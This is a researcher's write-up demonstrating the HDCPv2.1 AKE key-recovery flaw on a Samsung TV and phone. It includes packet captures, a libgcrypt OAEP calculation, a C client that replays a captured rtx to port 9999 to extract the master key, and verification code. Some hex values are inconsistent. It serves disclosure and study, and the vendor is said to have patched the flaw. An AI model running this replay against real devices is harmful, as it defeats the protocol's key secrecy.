Introduction

HDCP (High-bandwith Digical Content Protection) is a framework for secure transmission of audio/video content between a transmitter and a receiver. Version 2.1 is based on TCP/IP, earlier versions used an HDMI connection.

HDCPv2 consists of several protocols

and last but not least the streaming itself.

The American security researcher Matthew Green analyzed the HDCPv2.1 specification and discovered a number of vulnerabilities. One of them is related to AKE.

The remainder of this text describes the steps I took to demonstrate this AKE vulnerability on commercially available devices.

AKE protocol, outline of the attack

The goal of AKE is to establish a shared key between transmitter and receiver, the so called master key km.

There’s two different sequences for the authentication, a short and a full authentication. The short authentication can be used for a transmitter and receiver that have already authenticated before, it requires less computational effort than the full authentication.

The attack discovered by Matthew Green allows an attacker to obtain the master key for any transmitter-receiver pair. This is purely based on a weakness of the protocol design, it does not require a faulty/insecure implementation.

This is the outline of the attack to obtain km for a transmitter and receiver, a slightly modified version of Matthew’s original version.

  1. Observe a legitimate HDCP authentication between the transmitter and reciever. If you captured a full authentication, extract rtx and Ekh(km). For a short authentication, extract m and Ekh(km). rtx is the upper 8 bytes of m. Additionally, capture the receiver’s certificate and the checksum H'.

  2. Pretend to be a transmitter, start a full authentication with the receiver.

  3. Replay rtx from step 1.

  4. Use Ekh(km) as input, encrypt it using RSAEA-OAEP, using the the RSA public key from the receiver’s certificate.

  5. The AKE_Send_Pairing_Info message from the receiver contains km.

  6. Verify the obtained km by calculating H and comparing with H' of the legitimate authentication that was captured.

The picture below shows the difference between a full authentication and the fake authentication from steps 2-5.

fake authentication run

Test setup

To test the scenario described above, we use a European Samsung TV set and a Samsung Galaxy SII smartphone. The TV acts as HDCP transmitter and streams audio and video to the smartphone. Using Samsung’s SmartView app for Android, the phone acts as HDCP receiver and presents the audio/video content received from the TV. This feature is called Multiview.

Finally, we add a PC to the network. It runs a DHCP server and a current wireshark release that supports logging of HDCPv2 messages.

simple test network

Capture a legitimate HDCP authentication

When the SmartView app is started on the phone, it does a DLNA device discovery. When the TV’s detected, there’s a number of steps for UPnP/DLNA setup. One of them is the phone requesting the TV to initiate an HDCP authentication.

The phone then starts an HDCPv2 server on TCP port 9999 and the TV performs the AKE protocol as per the HDCPv2 specification. There’s no AKE_transmitter_info or AKE_receiver_info messages as the devices have already detected each other using DLNA.

BTW it turned out to be quite difficult to force the two devices to run a full authentication. The TV would not delete a cached master key km after a factory reset.

$ tshark -r logging1.pcapng -R hdcp2

246 11.435577000  192.168.1.5 -> 192.168.1.2  HDCP2 75 AKE_Init
248 11.697900000  192.168.1.2 -> 192.168.1.5  HDCP2 590 AKE_Send_Cert, no repeater
250 11.703639000  192.168.1.5 -> 192.168.1.2  HDCP2 99 AKE_Stored_km
252 11.706692000  192.168.1.2 -> 192.168.1.5  HDCP2 75 AKE_Send_rrx
254 11.748270000  192.168.1.2 -> 192.168.1.5  HDCP2 99 AKE_Send_H_prime

We’re interested in the AKE_Stored_km message.

$ tshark -r logging1.pcapng frame.number==250 -O hdcp2

Frame 250: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0
...
Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 33
HDCP2
    Message ID: AKE_Stored_km (0x05)
    E_kh_km: cdef65336923fa3e60eedd5ccefb3919
    m: ad344f04d8e55a080000000000000000

To verify our findings later, we also need the AKE_Init and AKE_Send_H_prime messages.

$ tshark -r logging1.pcapng -R frame.number==246 -O hdcp2

Frame 246: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on
interface 0
...
Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct
(9999), Seq: 1, Ack: 1, Len: 9
HDCP2
    Message ID: AKE_Init (0x02)
    r_tx: 0x534f132bedb405ab


$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2

Frame 254: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0
...
Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 50730 (50730), Seq: 534, Ack: 43, Len: 33
HDCP2
    Message ID: AKE_Send_H_prime (0x07)
    H': 07690cb4274a6e2b7ba84b229d474773274797f9ad5aa3d7...

$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2 -e hdcp2.h_prime -T fields

07:69:0c:b4:27:4a:6e:2b:7b:a8:4b:22:9d:47:47:73:27:47:97:f9:ad:5a:a3:d7:17:f1:b7:82:1e:95:a8:e5

We extract the RSA public key (n and e) from the receiver’s certificate.

$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.n -T fields
e7:bc:f3:e0:66:79:11:09:5f:81:ff:47:8c:c0:13:54:12:4c:6d:32:11:d6:9a:e2:1d:22:25:4f:ce:b2:b7:15:
56:5a:06:8f:f3:c5:ae:f3:11:9e:53:04:6e:c4:b5:e0:86:8a:d5:52:1f:37:b9:7a:fd:20:3c:f7:a7:c4:0e:2d:
33:a4:42:94:b4:1b:06:8a:71:6d:8c:c5:5b:53:cc:ac:be:33:e5:2f:1e:d5:97:54:3c:2e:db:13:b8:d3:39:d8:
df:b1:6d:8c:9b:a5:51:9d:81:06:85:b3:f4:4e:dd:f7:9d:29:ef:55:34:8a:ab:21:f7:60:c6:99:15:c2:db:87

$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.e -T fields
0x010001

Fake authentication

Prepare the calculations

From the captured m, we can derive rtx==0xad3444f0dd8e55a08 to be used for the fake authentication. This will ensure that the phone will use exactly the same m as in the captured authentication.

The next step’s a bit more tricky: We have to encrypt the Ekh(km) with RSAES-OAEP using SHA256 as hash function and MGF1 for mask generation, where MGF1 also uses SHA256 as its hash function. It turned out that OpenSSL does not support this at the time of writing, MGF1 is hard-wired to SHA1. Libgrypt version 1.5 and later can do the OAEP calculation required for HDCPv2.

See the following code snippet. The public key’s n and e were copied from the phone’s device certificate. Normally, the transmitters has to do the OAEP calculating while the AKE protocol is being run. We can do this offline before we run the fake authentication.

...
#include <gcrypt.h>

static const char pubkey_str[] =
"(public-key\n"
" (rsa\n"
"  (n #e7bcf3e0667911095f81ff478cc01354124c6d3211d69ae21d22254fceb2b715"
      "565a068ff3c5aef3119e53046ec4b5e0868ad5521f37b97afd203cf7a7c40e2d"
      "33a44294b41b068a716d8cc55b53ccacbe33e52f1ed597543c2edb13b8d339d8"
      "dfb16d8c9ba5519d810685b3f44eddf79d29ef55348aab21f760c69915c2db87#)\n"
"  (e #010001#)\n"
" )\n"
")\n";

static const char data_str[] =
"(data\n"
"    (flags oaep)\n"
"    (hash-algo sha256)\n"
"    (label \"test\")\n"
"    (value #cdef65336923fa3e60eedd5ccefb3919#))\n";


int
main (void)
{
  int         ret;
  gcry_sexp_t result, data, pub_key;

  ret = gcry_sexp_sscan (&data, NULL, data_str, strlen(data_str));
  assert(ret==0);
  ret = gcry_sexp_sscan (&pub_key, NULL, pubkey_str, strlen(pubkey_str));
  assert(ret==0);

  ret = gcry_pk_encrypt(&result, data, pub_key);
  assert(ret==0);

  /* print out the result sexpression */

  ...

  return 0;
}

The result of this calculation is the fake Ekpub_rx(km).

$ ./oaep_calculation
res =
0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, 0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF,
0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, 0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39,
0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, 0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF,
0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, 0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1,
0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, 0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0,
0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, 0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB,
0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, 0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73,
0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, 0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5

Run the protocol

We’re now ready for kicking off our fake authentication from the test PC. One thing turned out to be a problem, however. The phone starts the HDCPv2 server only after it recognizes a TV set via DLNA. To avoid faking all DLNA messages, we use the real TV and let the phone recognize the TV and start the Multiview. At this point, the phone provides the HDCPv2 server on TCP port 9999 to any client, including our test PC.

The code snippet below shows that we don’t parse any of the phone’s return messages. Instead, we use wireshark to log the communication and do the parsing.

#define R_TX \
0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab

#define E_KPUB_KM \
0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, \
0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF, \
0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, \
0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39, \
0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, \
0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF, \
0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, \
0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1, \
0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, \
0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0, \
0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, \
0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB, \
0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, \
0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73, \
0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, \
0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5

int main(void)
{
  int ret, s;
  struct sockaddr_in srv;
  unsigned char ake_init[] = {
   0x02, /* msg_id */
   R_TX
  };

  unsigned char ake_no_stored_km[] = {
   0x04, /* msg_id */
   E_KPUB_KM
  };

  unsigned char buf[1000];

  s = socket(PF_INET, SOCK_STREAM, 0);
  assert(s!=-1);

  srv.sin_family = AF_INET;
  srv.sin_port = htons (9999);
  ret = inet_pton(AF_INET, "192.168.1.2", &srv.sin_addr);
  assert(ret >= 0);

  ret = connect(s, (struct sockaddr *)&srv, sizeof(srv));
  assert(ret==0);

  write(s, ake_init, sizeof(ake_init));
  read (s, buf, sizeof(buf));  /* read ake_send_cert */

  write(s, ake_no_stored_km, sizeof(ake_no_stored_km));
  read (s, buf, sizeof(buf));  /* read ake_send_rrx */
  read (s, buf, sizeof(buf));  /* read ake_h_prime */
  read (s, buf, sizeof(buf));  /* read ake_pairing_info */

  return 0;
}

Here’s the wireshark log of the fake authentication.

$ tshark -r revert1.pcapng -R hdcp2

4960 20.957347000  192.168.1.254 -> 192.168.1.2   HDCP2  75 AKE_Init
5042 21.378931000  192.168.1.2   -> 192.168.1.254 HDCP2 590 AKE_Send_Cert, no repeater
5044 21.379112000  192.168.1.254 -> 192.168.1.2   HDCP2 195 AKE_No_Stored_km
5046 21.387232000  192.168.1.2   -> 192.168.1.254 HDCP2  75 AKE_Send_rrx
5132 21.676139000  192.168.1.2   -> 192.168.1.254 HDCP2  99 AKE_Send_H_prime
5134 21.677848000  192.168.1.2   -> 192.168.1.254 HDCP2  83 AKE_Send_Pairing_Info

AKE_Init contains our replayed rtx

$ tshark -r revert1.pcapng -R frame.number==4960 -O hdcp2
Frame 4960: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0
...
Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct
(9999), Seq: 1, Ack: 1, Len: 9
HDCP2
    Message ID: AKE_Init (0x02)
    r_tx: 0xad344f04d8e55a08

and AKE_No_Stored_km contains the OAEP-encrypted value we calculated above

$ tshark -r revert1.pcapng -R frame.number==5044 -O hdcp2
Frame 5044: 195 bytes on wire (1560 bits), 195 bytes captured (1560 bits) on
interface 0
...
Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 129
HDCP2
    Message ID: AKE_No_Stored_km (0x04)
    E_kpub_km: c9d0a0cf3dc0a232f3d7de82cc886fafd21039e65e6e08e8...

Therefore, AKE_Send_Pairing_Info should contain the master key km for the TV and the phone. It’s called Ekh(km) here, but it’s actually km :-)

$ tshark -r revert1.pcapng -R frame.number==5134 -O hdcp2
Frame 5134: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) on
interface 0
...
Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 59500 (59500), Seq: 567, Ack: 139, Len: 17
HDCP2
    Message ID: AKE_Send_Pairing_Info (0x08)
    E_kh_km: 2877f884625837fbc1da9ab40e5ad037

Verify that the master key is correct

In order to verify that we actually have the master key k_m, we go back to the original capture and calculate H. This value must match the H' that the phone sent in the AKE_Send_H_prime message in frame 254.

Here’s another code snippet for the calculation of H==H', using OpenSSL. The function kd() calculates dkey0|dkey1 by running two separate AES CTR encryptions. The input data for both encryptions is eight 0x00 bytes. The init vectors are rtx|0…0 and rtx|0…01, respectively.

dkey0|dkey1 is then used as key for HMAC-SHA256(rtx). The result is H.

#include <openssl/evp.h>
#include <openssl/hmac.h>

#define R_TX \
   0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab

#define K_M \
 0x28, 0x77, 0xf8, 0x84, 0x62, 0x58, 0x37, 0xfb, \
 0xc1, 0xda, 0x9a, 0xb4, 0x0e, 0x5a, 0xd0, 0x37

#define NULL_BYTES \
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

#define KD_SIZE 32
unsigned char *kd(void)
{
   EVP_CIPHER_CTX ctx;
   unsigned char km[] = { K_M };
   unsigned char *buf = malloc(KD_SIZE);
   unsigned char iv[] = { R_TX, NULL_BYTES };
   unsigned char input[] = { NULL_BYTES, NULL_BYTES };
   int ret;
   unsigned char tmp[100];
   int outl;

   memset(buf, 0x0, KD_SIZE);

   EVP_CIPHER_CTX_init(&ctx);

   ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv);
   assert(ret == 1);

   ret = EVP_EncryptUpdate(&ctx, buf, &outl, input, sizeof(input));
   assert(ret == 1);
   assert(outl == sizeof(input));

   ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl);
   assert(ret == 1);
   assert(outl == 0);

   iv[sizeof(iv)-1] = 0x01; /* iv is now r_tx|0...01 */

   ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv);
   assert(ret == 1);

   ret = EVP_EncryptUpdate(&ctx, &buf[16], &outl, input, sizeof(input));
   assert(ret == 1);
   assert(outl == sizeof(input));

   ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl);
   assert(ret == 1);
   assert(outl == 0);

   ret = EVP_CIPHER_CTX_cleanup(&ctx);
   assert(ret == 1);

   return buf;
}

int main(void)
{
   HMAC_CTX ctx;
   unsigned char res[200];
   unsigned int resLen;

   /* input == r_tx XOR REPEATER, but REPEATER==0 */
   unsigned char input[] = { R_TX };

   HMAC_CTX_init(&ctx);

   HMAC_Init_ex(&ctx, kd(), KD_SIZE, EVP_sha256(), NULL);
   HMAC_Update(&ctx, input, sizeof(input));
   HMAC_Final(&ctx, res, &resLen);

   /* print the result buffer */

   HMAC_CTX_cleanup(&ctx);
   return 0;
}

Let’s run the calculation of H

$ ./hprime
res ==
0x07, 0x69, 0x0c, 0xb4, 0x27, 0x4a, 0x6e, 0x2b, 0x7b, 0xa8, 0x4b, 0x22, 0x9d,
0x47, 0x47, 0x73, 0x27, 0x47, 0x97, 0xf9, 0xad, 0x5a, 0xa3, 0xd7, 0x17, 0xf1,
0xb7, 0x82, 0x1e, 0x95, 0xa8, 0xe5,

This is identical to the H' that the phone sent for the captured authentication. In other words, we have the master key km :-))

Please note that this is not sufficient for decrypting the transmited audio/video content between the two devices. This would require that we know the license constant lc123, which is available only to HDCP licensees.

Current status

The HDCP specification was updated to version 2.2.

Samsung released an updated version of their SmartView application on August 30th.

Questions, comments

Please send any questions or comments to www(at)kaiser(dot)cx

back to homepage